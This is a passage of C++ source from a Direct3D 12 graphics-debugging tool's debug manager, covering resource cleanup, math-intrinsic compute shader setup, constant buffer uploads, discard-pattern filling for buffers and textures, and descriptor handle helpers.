m_pDevice->InternalRef();
// safe to upcast - this is a wrapped object
m_DebugList = (ID3D12GraphicsCommandListX *)list;
if(FAILED(hr))
{
RDCERR("Failed to create readback command list, HRESULT: %s", ToStr(hr).c_str());
return;
}
rm->SetInternalResource(m_DebugList);
if(m_DebugList)
m_DebugList->Close();
{
ResourceFormat fmt;
fmt.type = ResourceFormatType::Regular;
fmt.compType = CompType::Float;
fmt.compByteWidth = 4;
fmt.compCount = 1;
bytebuf pattern = GetDiscardPattern(DiscardType::DiscardCall, fmt);
m_DiscardConstants = MakeCBuffer(pattern.size());
FillBuffer(m_DiscardConstants, 0, pattern.data(), pattern.size());
ID3DBlob *root = shaderCache->MakeRootSig({
cbvParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 0),
constParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 1, 1),
});
RDCASSERT(root);
hr = m_pDevice->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&m_DiscardRootSig);
SAFE_RELEASE(root);
}
}
D3D12DebugManager::~D3D12DebugManager()
{
for(auto it = m_CachedMeshPipelines.begin(); it != m_CachedMeshPipelines.end(); ++it)
for(size_t p = 0; p < MeshDisplayPipelines::ePipe_Count; p++)
SAFE_RELEASE(it->second.pipes[p]);
for(auto it = m_MS2ArrayPSOCache.begin(); it != m_MS2ArrayPSOCache.end(); ++it)
{
SAFE_RELEASE(it->second.first);
SAFE_RELEASE(it->second.second);
}
SAFE_RELEASE(dsvHeap);
SAFE_RELEASE(rtvHeap);
SAFE_RELEASE(cbvsrvuavHeap);
SAFE_RELEASE(uavClearHeap);
SAFE_RELEASE(samplerHeap);
SAFE_RELEASE(m_MeshVS);
SAFE_RELEASE(m_MeshGS);
SAFE_RELEASE(m_MeshPS);
SAFE_RELEASE(m_MeshRootSig);
SAFE_RELEASE(m_MathIntrinsicsRootSig);
SAFE_RELEASE(m_MathIntrinsicsPso);
SAFE_RELEASE(m_MathIntrinsicsResultBuffer);
SAFE_RELEASE(m_ArrayMSAARootSig);
SAFE_RELEASE(m_FullscreenVS);
SAFE_RELEASE(m_IntMS2Array);
SAFE_RELEASE(m_FloatMS2Array);
SAFE_RELEASE(m_DepthMS2Array);
SAFE_RELEASE(m_IntArray2MS);
SAFE_RELEASE(m_FloatArray2MS);
SAFE_RELEASE(m_DepthArray2MS);
SAFE_RELEASE(m_ReadbackBuffer);
SAFE_RELEASE(m_RingConstantBuffer);
SAFE_RELEASE(m_TexResource);
SAFE_RELEASE(m_DiscardConstants);
SAFE_RELEASE(m_DiscardRootSig);
SAFE_RELEASE(m_DiscardPS);
SAFE_RELEASE(m_DebugAlloc);
SAFE_RELEASE(m_DebugList);
SAFE_RELEASE(m_DebugFence);
for(auto it = m_DiscardPipes.begin(); it != m_DiscardPipes.end(); it++)
if(it->second)
it->second->Release();
for(auto it = m_DiscardPatterns.begin(); it != m_DiscardPatterns.end(); it++)
if(it->second)
it->second->Release();
for(size_t i = 0; i < m_DiscardBuffers.size(); i++)
m_DiscardBuffers[i]->Release();
if(RenderDoc::Inst().GetCrashHandler())
RenderDoc::Inst().GetCrashHandler()->UnregisterMemoryRegion(this);
}
bool D3D12DebugManager::CreateMathIntrinsicsResources()
{
rdcstr csProgram =
"RWStructuredBuffer<float4> outval : register(u0);\n"
"cbuffer srcOper : register(b0) { float4 inval; };\n"
"cbuffer srcInstr : register(b1) { uint operation; };\n";
// Assign constants to each supported instruction
csProgram += StringFormat::Fmt("static const uint OPCODE_RCP = %u;\n", DXBCBytecode::OPCODE_RCP);
csProgram += StringFormat::Fmt("static const uint OPCODE_RSQ = %u;\n", DXBCBytecode::OPCODE_RSQ);
csProgram += StringFormat::Fmt("static const uint OPCODE_EXP = %u;\n", DXBCBytecode::OPCODE_EXP);
csProgram += StringFormat::Fmt("static const uint OPCODE_LOG = %u;\n", DXBCBytecode::OPCODE_LOG);
csProgram +=
StringFormat::Fmt("static const uint OPCODE_SINCOS = %u;\n", DXBCBytecode::OPCODE_SINCOS);
csProgram +=
"[numthreads(1, 1, 1)]\n"
"void main(){\n"
" switch(operation){\n"
" case OPCODE_RCP: outval[0] = rcp(inval); break;\n"
" case OPCODE_RSQ: outval[0] = rsqrt(inval); break;\n"
" case OPCODE_EXP: outval[0] = exp2(inval); break;\n"
" case OPCODE_LOG: outval[0] = log2(inval); break;\n"
" case OPCODE_SINCOS: sincos(inval, outval[0], outval[1]); break;\n"
" }\n}\n";
ID3DBlob *csBlob = NULL;
UINT flags = D3DCOMPILE_DEBUG | D3DCOMPILE_WARNINGS_ARE_ERRORS;
if(m_pDevice->GetShaderCache()->GetShaderBlob(csProgram.c_str(), "main", flags, "cs_5_0",
&csBlob) != "")
{
RDCERR("Failed to create shader to calculate math intrinsic");
return false;
}
D3D12RootSignature rootSig;
// Constants param for the operation inputs
D3D12RootSignatureParameter constantParam;
constantParam.ParameterType = D3D12_ROOT_PARAMETER_TYPE_32BIT_CONSTANTS;
constantParam.ShaderVisibility = D3D12_SHADER_VISIBILITY_ALL;
constantParam.Constants.Num32BitValues = 4; // Input is 4 floats
constantParam.Constants.ShaderRegister = 0;
constantParam.Constants.RegisterSpace = 0;
rootSig.Parameters.push_back(constantParam);
// Constants param for the opcode
constantParam.Constants.Num32BitValues = 1;
constantParam.Constants.ShaderRegister = 1;
constantParam.Constants.RegisterSpace = 0;
rootSig.Parameters.push_back(constantParam);
// UAV param for the output
D3D12RootSignatureParameter uavParam;
uavParam.ParameterType = D3D12_ROOT_PARAMETER_TYPE_UAV;
uavParam.ShaderVisibility = D3D12_SHADER_VISIBILITY_ALL;
uavParam.Descriptor.ShaderRegister = 0;
uavParam.Descriptor.RegisterSpace = 0;
uavParam.Descriptor.Flags = D3D12_ROOT_DESCRIPTOR_FLAG_NONE;
rootSig.Parameters.push_back(uavParam);
ID3DBlob *root = m_pDevice->GetShaderCache()->MakeRootSig(rootSig);
if(root == NULL)
{
RDCERR("Failed to create root signature for shader debugging");
SAFE_RELEASE(csBlob);
return false;
}
HRESULT hr = m_pDevice->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature),
(void **)&m_MathIntrinsicsRootSig);
m_pDevice->InternalRef();
SAFE_RELEASE(root);
if(FAILED(hr))
{
RDCERR("Failed to create root signature for shader debugging HRESULT: %s", ToStr(hr).c_str());
SAFE_RELEASE(csBlob);
return false;
}
m_pDevice->GetResourceManager()->SetInternalResource(m_MathIntrinsicsRootSig);
D3D12_COMPUTE_PIPELINE_STATE_DESC psoDesc;
psoDesc.pRootSignature = m_MathIntrinsicsRootSig;
psoDesc.CS.BytecodeLength = csBlob->GetBufferSize();
psoDesc.CS.pShaderBytecode = csBlob->GetBufferPointer();
psoDesc.NodeMask = 0;
psoDesc.CachedPSO.pCachedBlob = NULL;
psoDesc.CachedPSO.CachedBlobSizeInBytes = 0;
psoDesc.Flags = D3D12_PIPELINE_STATE_FLAG_NONE;
hr = m_pDevice->CreateComputePipelineState(&psoDesc, __uuidof(ID3D12PipelineState),
(void **)&m_MathIntrinsicsPso);
m_pDevice->InternalRef();
SAFE_RELEASE(csBlob);
if(FAILED(hr))
{
RDCERR("Failed to create PSO for shader debugging HRESULT: %s", ToStr(hr).c_str());
SAFE_RELEASE(m_MathIntrinsicsRootSig);
return false;
}
m_pDevice->GetResourceManager()->SetInternalResource(m_MathIntrinsicsPso);
// Create buffer to store computed result
D3D12_RESOURCE_DESC rdesc;
ZeroMemory(&rdesc, sizeof(D3D12_RESOURCE_DESC));
rdesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;
rdesc.Width = sizeof(Vec4f) * 2; // Output buffer is 2x float4
rdesc.Height = 1;
rdesc.DepthOrArraySize = 1;
rdesc.MipLevels = 1;
rdesc.Format = DXGI_FORMAT_UNKNOWN;
rdesc.Flags = D3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS;
rdesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;
rdesc.SampleDesc.Count = 1;
rdesc.SampleDesc.Quality = 0;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_DEFAULT;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
hr = m_pDevice->CreateCommittedResource(
&heapProps, D3D12_HEAP_FLAG_NONE, &rdesc, D3D12_RESOURCE_STATE_UNORDERED_ACCESS, NULL,
__uuidof(ID3D12Resource), (void **)&m_MathIntrinsicsResultBuffer);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Failed to create buffer for pixel shader debugging HRESULT: %s", ToStr(hr).c_str());
SAFE_RELEASE(m_MathIntrinsicsRootSig);
SAFE_RELEASE(m_MathIntrinsicsPso);
return false;
}
m_pDevice->GetResourceManager()->SetInternalResource(m_MathIntrinsicsResultBuffer);
return true;
}
ID3D12Resource *D3D12DebugManager::MakeCBuffer(UINT64 size)
{
ID3D12Resource *ret;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_UPLOAD;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
D3D12_RESOURCE_DESC cbDesc;
cbDesc.Alignment = 0;
cbDesc.DepthOrArraySize = 1;
cbDesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;
cbDesc.Flags = D3D12_RESOURCE_FLAG_NONE;
cbDesc.Format = DXGI_FORMAT_UNKNOWN;
cbDesc.Height = 1;
cbDesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;
cbDesc.MipLevels = 1;
cbDesc.SampleDesc.Count = 1;
cbDesc.SampleDesc.Quality = 0;
cbDesc.Width = size;
HRESULT hr = m_pDevice->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &cbDesc,
D3D12_RESOURCE_STATE_GENERIC_READ, NULL,
__uuidof(ID3D12Resource), (void **)&ret);
if(FAILED(hr))
{
RDCERR("Couldn't create cbuffer size %llu! %s", size, ToStr(hr).c_str());
SAFE_RELEASE(ret);
return NULL;
}
return ret;
}
void D3D12DebugManager::FillBuffer(ID3D12Resource *buf, size_t offset, const void *data, size_t size)
{
D3D12_RANGE range = {offset, offset + size};
byte *ptr = NULL;
HRESULT hr = buf->Map(0, &range, (void **)&ptr);
if(FAILED(hr))
{
RDCERR("Can't fill cbuffer HRESULT: %s", ToStr(hr).c_str());
}
else
{
memcpy(ptr + offset, data, size);
buf->Unmap(0, &range);
}
}
D3D12_GPU_VIRTUAL_ADDRESS D3D12DebugManager::UploadConstants(const void *data, size_t size)
{
D3D12_GPU_VIRTUAL_ADDRESS ret = m_RingConstantBuffer->GetGPUVirtualAddress();
if(m_RingConstantOffset + size > m_RingConstantBuffer->GetDesc().Width)
m_RingConstantOffset = 0;
ret += m_RingConstantOffset;
// passing the unwrapped object here is immaterial as all we do is Map/Unmap, but it means we can
// call this function while capturing without worrying about serialising the map or deadlocking.
FillBuffer(Unwrap(m_RingConstantBuffer), (size_t)m_RingConstantOffset, data, size);
m_RingConstantOffset += size;
m_RingConstantOffset =
AlignUp(m_RingConstantOffset, (UINT64)D3D12_CONSTANT_BUFFER_DATA_PLACEMENT_ALIGNMENT);
return ret;
}
ID3D12GraphicsCommandListX *D3D12DebugManager::ResetDebugList()
{
m_DebugList->Reset(m_DebugAlloc, NULL);
return m_DebugList;
}
void D3D12DebugManager::ResetDebugAlloc()
{
m_DebugAlloc->Reset();
}
void D3D12DebugManager::FillWithDiscardPattern(ID3D12GraphicsCommandListX *cmd,
const D3D12RenderState &state, DiscardType type,
ID3D12Resource *res,
const D3D12_DISCARD_REGION *region)
{
RDCASSERT(type == DiscardType::DiscardCall);
D3D12MarkerRegion marker(
cmd, StringFormat::Fmt("FillWithDiscardPattern %s", ToStr(GetResID(res)).c_str()));
D3D12_RESOURCE_DESC desc = res->GetDesc();
rdcarray<D3D12_RECT> rects;
if(region && region->NumRects > 0)
rects.assign(region->pRects, region->NumRects);
else
rects = {{0, 0, (LONG)desc.Width, (LONG)desc.Height}};
if(desc.Dimension == D3D12_RESOURCE_DIMENSION_BUFFER)
{
// ignore rects, they are only allowed with 2D resources
size_t size = (size_t)desc.Width;
ID3D12Resource *patternBuf = NULL;
// if we have discard buffers, try the last one, it's the biggest we have
if(!m_DiscardBuffers.empty())
{
patternBuf = m_DiscardBuffers.back();
// if it's not big enough, don't use it
if(patternBuf->GetDesc().Width < size)
patternBuf = NULL;
}
// if we don't have a buffer, make one that's big enough and use that
if(patternBuf == NULL)
{
bytebuf pattern;
// make at least 1K at a time to prevent too much incremental updates if we encounter buffers
// of different sizes
pattern.resize(AlignUp<size_t>(size, 1024U));
uint32_t value = 0xD15CAD3D;
for(size_t i = 0; i < pattern.size(); i += 4)
memcpy(&pattern[i], &value, sizeof(uint32_t));
patternBuf = MakeCBuffer(pattern.size());
m_DiscardBuffers.push_back(patternBuf);
FillBuffer(patternBuf, 0, pattern.data(), size);
}
// fill the destination with a copy from the pattern buffer
cmd->CopyBufferRegion(res, 0, patternBuf, 0, size);
return;
}
UINT firstSub = region ? region->FirstSubresource : 0;
UINT numSubs = region ? region->NumSubresources : GetNumSubresources(m_pDevice, &desc);
if(desc.SampleDesc.Count > 1)
{
// we can't do discard patterns for MSAA on compute comand lists
if(cmd->GetType() == D3D12_COMMAND_LIST_TYPE_COMPUTE)
return;
bool depth = false;
if(desc.Flags & D3D12_RESOURCE_FLAG_ALLOW_DEPTH_STENCIL)
depth = true;
DXGI_FORMAT fmt = desc.Format;
if(depth)
fmt = GetDepthTypedFormat(fmt);
else
fmt = GetFloatTypedFormat(fmt);
rdcpair<DXGI_FORMAT, UINT> key = {fmt, desc.SampleDesc.Count};
rdcpair<DXGI_FORMAT, UINT> stencilKey = {DXGI_FORMAT_UNKNOWN, desc.SampleDesc.Count};
ID3D12PipelineState *pipe = m_DiscardPipes[key];
ID3D12PipelineState *stencilpipe = pipe;
if(fmt == DXGI_FORMAT_D32_FLOAT_S8X24_UINT)
{
stencilKey.first = DXGI_FORMAT_R32_FLOAT_X8X24_TYPELESS;
stencilpipe = m_DiscardPipes[stencilKey];
}
else if(fmt == DXGI_FORMAT_D24_UNORM_S8_UINT)
{
stencilKey.first = DXGI_FORMAT_R24_UNORM_X8_TYPELESS;
stencilpipe = m_DiscardPipes[stencilKey];
}
if(pipe == NULL)
{
D3D12_GRAPHICS_PIPELINE_STATE_DESC pipeDesc = {};
pipeDesc.pRootSignature = m_DiscardRootSig;
pipeDesc.VS.BytecodeLength = m_FullscreenVS->GetBufferSize();
pipeDesc.VS.pShaderBytecode = m_FullscreenVS->GetBufferPointer();
pipeDesc.PS.BytecodeLength = m_DiscardPS->GetBufferSize();
pipeDesc.PS.pShaderBytecode = m_DiscardPS->GetBufferPointer();
pipeDesc.RasterizerState.FillMode = D3D12_FILL_MODE_SOLID;
pipeDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;
pipeDesc.SampleMask = 0xFFFFFFFF;
pipeDesc.SampleDesc.Count = desc.SampleDesc.Count;
pipeDesc.IBStripCutValue = D3D12_INDEX_BUFFER_STRIP_CUT_VALUE_DISABLED;
pipeDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;
pipeDesc.BlendState.RenderTarget[0].BlendEnable = FALSE;
pipeDesc.BlendState.RenderTarget[0].SrcBlend = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlend = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOp = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].SrcBlendAlpha = D3D12_BLEND_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].DestBlendAlpha = D3D12_BLEND_INV_SRC_ALPHA;
pipeDesc.BlendState.RenderTarget[0].BlendOpAlpha = D3D12_BLEND_OP_ADD;
pipeDesc.BlendState.RenderTarget[0].RenderTargetWriteMask = D3D12_COLOR_WRITE_ENABLE_ALL;
pipeDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_ALWAYS;
pipeDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ALL;
pipeDesc.DepthStencilState.StencilReadMask = 0xFF;
pipeDesc.DepthStencilState.StencilWriteMask = 0xFF;
pipeDesc.DepthStencilState.FrontFace.StencilFunc = D3D12_COMPARISON_FUNC_ALWAYS;
pipeDesc.DepthStencilState.FrontFace.StencilPassOp = D3D12_STENCIL_OP_REPLACE;
pipeDesc.DepthStencilState.FrontFace.StencilFailOp = D3D12_STENCIL_OP_REPLACE;
pipeDesc.DepthStencilState.FrontFace.StencilDepthFailOp = D3D12_STENCIL_OP_REPLACE;
pipeDesc.DepthStencilState.BackFace = pipeDesc.DepthStencilState.FrontFace;
pipeDesc.DepthStencilState.DepthEnable = FALSE;
pipeDesc.DepthStencilState.StencilEnable = FALSE;
if(depth)
{
pipeDesc.DSVFormat = fmt;
pipeDesc.DepthStencilState.DepthEnable = TRUE;
}
else
{
pipeDesc.NumRenderTargets = 1;
pipeDesc.RTVFormats[0] = fmt;
}
HRESULT hr = m_pDevice->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&pipe);
if(FAILED(hr))
RDCERR("Couldn't create MSAA discard pattern pipe! HRESULT: %s", ToStr(hr).c_str());
m_DiscardPipes[key] = pipe;
if(stencilKey.first != DXGI_FORMAT_UNKNOWN)
{
pipeDesc.DepthStencilState.DepthEnable = FALSE;
pipeDesc.DepthStencilState.StencilEnable = TRUE;
hr = m_pDevice->CreateGraphicsPipelineState(&pipeDesc, __uuidof(ID3D12PipelineState),
(void **)&stencilpipe);
if(FAILED(hr))
RDCERR("Couldn't create MSAA discard pattern pipe! HRESULT: %s", ToStr(hr).c_str());
m_DiscardPipes[stencilKey] = stencilpipe;
}
}
if(!pipe)
return;
cmd->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);
cmd->SetPipelineState(pipe);
cmd->SetGraphicsRootSignature(m_DiscardRootSig);
cmd->SetGraphicsRootConstantBufferView(0, m_DiscardConstants->GetGPUVirtualAddress());
D3D12_VIEWPORT viewport = {0, 0, (float)desc.Width, (float)desc.Height, 0.0f, 1.0f};
cmd->RSSetViewports(1, &viewport);
if(m_pDevice->GetOpts3().ViewInstancingTier != D3D12_VIEW_INSTANCING_TIER_NOT_SUPPORTED)
cmd->SetViewInstanceMask(0);
D3D12_RENDER_TARGET_VIEW_DESC rtvDesc;
rtvDesc.ViewDimension = D3D12_RTV_DIMENSION_TEXTURE2DMSARRAY;
rtvDesc.Format = fmt;
rtvDesc.Texture2DMSArray.ArraySize = 1;
D3D12_DEPTH_STENCIL_VIEW_DESC dsvDesc;
dsvDesc.Flags = D3D12_DSV_FLAG_NONE;
dsvDesc.ViewDimension = D3D12_DSV_DIMENSION_TEXTURE2DMSARRAY;
dsvDesc.Format = fmt;
dsvDesc.Texture2DMSArray.ArraySize = 1;
D3D12_CPU_DESCRIPTOR_HANDLE rtv = GetCPUHandle(MSAA_RTV);
D3D12_CPU_DESCRIPTOR_HANDLE dsv = GetCPUHandle(MSAA_DSV);
for(UINT sub = 0; sub < numSubs; sub++)
{
UINT subresource = firstSub + sub;
if(depth)
{
dsvDesc.Texture2DMSArray.FirstArraySlice = GetSliceForSubresource(res, subresource);
m_pDevice->CreateDepthStencilView(res, &dsvDesc, dsv);
cmd->OMSetRenderTargets(0, NULL, FALSE, &dsv);
}
else
{
rtvDesc.Texture2DMSArray.FirstArraySlice = GetSliceForSubresource(res, subresource);
m_pDevice->CreateRenderTargetView(res, &rtvDesc, rtv);
cmd->OMSetRenderTargets(1, &rtv, FALSE, NULL);
}
UINT mip = GetMipForSubresource(res, subresource);
UINT plane = GetPlaneForSubresource(res, subresource);
for(D3D12_RECT r : rects)
{
r.right = RDCMIN(LONG(RDCMAX(1U, (UINT)desc.Width >> mip)), r.right);
r.bottom = RDCMIN(LONG(RDCMAX(1U, (UINT)desc.Height >> mip)), r.bottom);
cmd->RSSetScissorRects(1, &r);
if(depth)
{
if(plane == 0)
{
cmd->SetPipelineState(pipe);
cmd->SetGraphicsRoot32BitConstant(1, 0, 0);
cmd->DrawInstanced(3, 1, 0, 0);
}
else
{
cmd->SetPipelineState(stencilpipe);
cmd->SetGraphicsRoot32BitConstant(1, 1, 0);
cmd->OMSetStencilRef(0x00);
cmd->DrawInstanced(3, 1, 0, 0);
cmd->SetGraphicsRoot32BitConstant(1, 2, 0);
cmd->OMSetStencilRef(0xff);
cmd->DrawInstanced(3, 1, 0, 0);
}
}
else
{
cmd->SetGraphicsRoot32BitConstant(1, 0, 0);
cmd->DrawInstanced(3, 1, 0, 0);
}
}
}
state.ApplyState(m_pDevice, cmd);
return;
}
// see if we already have a buffer with texels in the desired format, if not then create it
ID3D12Resource *buf = m_DiscardPatterns[desc.Format];
if(buf == NULL)
{
bytebuf pattern = GetDiscardPattern(type, MakeResourceFormat(desc.Format), 256);
buf = MakeCBuffer(pattern.size());
FillBuffer(buf, 0, pattern.data(), pattern.size());
m_DiscardPatterns[desc.Format] = buf;
}
for(UINT sub = firstSub; sub < firstSub + numSubs; sub++)
{
D3D12_RESOURCE_BARRIER b = {};
b.Transition.pResource = res;
b.Transition.Subresource = sub;
// TODO can we do better than an educated guess as to what the previous state was?
if(desc.Flags & D3D12_RESOURCE_FLAG_ALLOW_DEPTH_STENCIL)
b.Transition.StateBefore = D3D12_RESOURCE_STATE_DEPTH_WRITE;
else if(desc.Flags & D3D12_RESOURCE_FLAG_ALLOW_RENDER_TARGET)
b.Transition.StateBefore = D3D12_RESOURCE_STATE_RENDER_TARGET;
else
b.Transition.StateBefore = D3D12_RESOURCE_STATE_COMMON;
b.Transition.StateAfter = D3D12_RESOURCE_STATE_COPY_DEST;
cmd->ResourceBarrier(1, &b);
D3D12_TEXTURE_COPY_LOCATION dst, src;
dst.Type = D3D12_TEXTURE_COPY_TYPE_SUBRESOURCE_INDEX;
dst.pResource = res;
dst.SubresourceIndex = sub;
UINT mip = GetMipForSubresource(res, sub);
DXGI_FORMAT fmt = desc.Format;
UINT bufOffset = 0;
// if this is a depth/stencil format it comes in multiple planes - figure out which format we're
// copying and the appropriate buffer offset
if(IsDepthAndStencilFormat(fmt))
{
UINT planeSlice = GetPlaneForSubresource(res, sub);
if(planeSlice == 0)
{
fmt = DXGI_FORMAT_R32_TYPELESS;
}
else
{
fmt = DXGI_FORMAT_R8_TYPELESS;
bufOffset +=
GetByteSize(DiscardPatternWidth, DiscardPatternHeight, 1, DXGI_FORMAT_R32_FLOAT, 0);
}
}
// the user isn't allowed to specify rects for 3D textures, so in that case we'll have our own
// default 0,0->64k,64k one. Similarly we also discard all z slices
uint32_t depth =
desc.Dimension == D3D12_RESOURCE_DIMENSION_TEXTURE3D ? desc.DepthOrArraySize : 1U;
for(uint32_t z = 0; z < RDCMAX(1U, depth >> mip); z++)
{
for(D3D12_RECT r : rects)
{
int32_t rectWidth = RDCMIN(LONG(RDCMAX(1U, (UINT)desc.Width >> mip)), r.right);
int32_t rectHeight = RDCMIN(LONG(RDCMAX(1U, (UINT)desc.Height >> mip)), r.bottom);
for(int32_t y = r.top; y < rectHeight; y += DiscardPatternHeight)
{
for(int32_t x = r.left; x < rectWidth; x += DiscardPatternWidth)
{
src.Type = D3D12_TEXTURE_COPY_TYPE_PLACED_FOOTPRINT;
src.pResource = buf;
src.PlacedFootprint.Offset = bufOffset;
src.PlacedFootprint.Footprint.Format = fmt;
src.PlacedFootprint.Footprint.RowPitch =
AlignUp(GetRowPitch(DiscardPatternWidth, fmt, 0), 256U);
src.PlacedFootprint.Footprint.Width =
RDCMIN(DiscardPatternWidth, uint32_t(rectWidth - x));
src.PlacedFootprint.Footprint.Height =
RDCMIN(DiscardPatternHeight, uint32_t(rectHeight - y));
src.PlacedFootprint.Footprint.Depth = 1;
cmd->CopyTextureRegion(&dst, x, y, z, &src, NULL);
}
}
}
}
std::swap(b.Transition.StateBefore, b.Transition.StateAfter);
cmd->ResourceBarrier(1, &b);
}
}
D3D12_CPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetCPUHandle(CBVUAVSRVSlot slot)
{
D3D12_CPU_DESCRIPTOR_HANDLE ret = cbvsrvuavHeap->GetCPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_CPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetCPUHandle(RTVSlot slot)
{
D3D12_CPU_DESCRIPTOR_HANDLE ret = rtvHeap->GetCPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_CPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetCPUHandle(DSVSlot slot)
{
D3D12_CPU_DESCRIPTOR_HANDLE ret = dsvHeap->GetCPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_GPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetGPUHandle(CBVUAVSRVSlot slot)
{
D3D12_GPU_DESCRIPTOR_HANDLE ret = cbvsrvuavHeap->GetGPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_GPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetGPUHandle(RTVSlot slot)
{
D3D12_GPU_DESCRIPTOR_HANDLE ret = rtvHeap->GetGPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_GPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetGPUHandle(DSVSlot slot)
{
D3D12_GPU_DESCRIPTOR_HANDLE ret = dsvHeap->GetGPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_GPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetGPUHandle(SamplerSlot slot)
{
D3D12_GPU_DESCRIPTOR_HANDLE ret = samplerHeap->GetGPUDescriptorHandleForHeapStart();
ret.ptr += slot * sizeof(D3D12Descriptor);
return ret;
}
D3D12_CPU_DESCRIPTOR_HANDLE D3D12DebugManager::GetTempDescriptor(const D3D12Descriptor &desc,
size_t idx)
{
D3D12_CPU_DESCRIPTOR_HANDLE ret = {};
ID3D12Resource *res =
m_pDevice->GetResourceManager()->GetCurrentAs<ID3D12Resource>(desc.GetResResourceId());
if(desc.GetType() == D3D12DescriptorType::RTV)
{
ret = GetCPUHandle(FIRST_TMP_RTV);
ret.ptr += idx * sizeof(D3D12Descriptor);
const D3D12_RENDER_TARGET_VIEW_DESC *rtvdesc = &desc.GetRTV();
if(rtvdesc->ViewDimension == D3D12_RTV_DIMENSION_UNKNOWN)
rtvdesc = NULL;
if(rtvdesc == NULL || rtvdesc->Format == DXGI_FORMAT_UNKNOWN)
{
const std::map<ResourceId, DXGI_FORMAT> &bbs = m_pDevice->GetBackbufferFormats();
auto it = bbs.find(GetResID(res));
// fixup for backbuffers
if(it != bbs.end())
{
D3D12_RENDER_TARGET_VIEW_DESC bbDesc = {};
bbDesc.Format = it->second;
bbDesc.ViewDimension = D3D12_RTV_DIMENSION_TEXTURE2D;
m_pDevice->CreateRenderTargetView(res, &bbDesc, ret);
return ret;
}
}
m_pDevice->CreateRenderTargetView(res, rtvdesc, ret);
}
else if(desc.GetType() == D3D12DescriptorType::DSV)
{
ret = GetCPUHandle(TMP_DSV);
const D3D12_DEPTH_STENCIL_VIEW_DESC *dsvdesc = &desc.GetDSV();
if(dsvdesc->ViewDimension == D3D12_DSV_DIMENSION_UNKNOWN)
dsvdesc = NULL;
m_pDevice->CreateDepthStencilView(res, dsvdesc, ret);
}
else if(desc.GetType() == D3D12DescriptorType::UAV)
{
// need a non-shader visible heap for this one
ret = GetUAVClearHandle(TMP_UAV);
ID3D12Resource *counterRes =
m_pDevice->GetResourceManager()->GetCurrentAs<ID3D12Resource>(desc.GetCounterResourceId());
D3D12_UNORDERED_ACCESS_VIEW_DESC unpacked = desc.GetUAV();
const D3D12_UNORDERED_ACCESS_VIEW_DESC *uavdesc = &unpacked;
if(uavdesc->ViewDimension == D3D12_UAV_DIMENSION_UNKNOWN)
uavdesc = NULL;
if(uavdesc == NULL || uavdesc->Format == DXGI_FORMAT_UNKNOWN)
{
const std::map<ResourceId, DXGI_FORMAT> &bbs = m_pDevice->GetBackbufferFormats();
auto it = bbs.find(GetResID(res));
// fixup for backbuffers
if(it != bbs.end())
{
D3D12_UNORDERED_ACCESS_VIEW_DESC bbDesc = {};
bbDesc.Format = it->second;
bbDesc.ViewDimension = D3D12_UAV_DIMENSION_TEXTURE2D;
m_pDevice->CreateUnorderedAccessView(res, NULL, &bbDesc, ret);
return ret;
}
}
m_pDevice->CreateUnorderedAccessView(res, counterRes, uavdesc, ret);
}
else
{
RDCERR("Unexpected descriptor type %s for temp descriptor!", ToStr(desc.GetType()).c_str());
}
return ret;
}
void D3D12DebugManager::SetDescriptorHeaps(ID3D12GraphicsCommandList *list, bool cbvsrvuav,
bool samplers)
{
ID3D12DescriptorHeap *heaps[] = {cbvsrvuavHeap, samplerHeap};
if(cbvsrvuav && samplers)
{
list->SetDescriptorHeaps(2, heaps);
}
else if(cbvsrvuav)
{
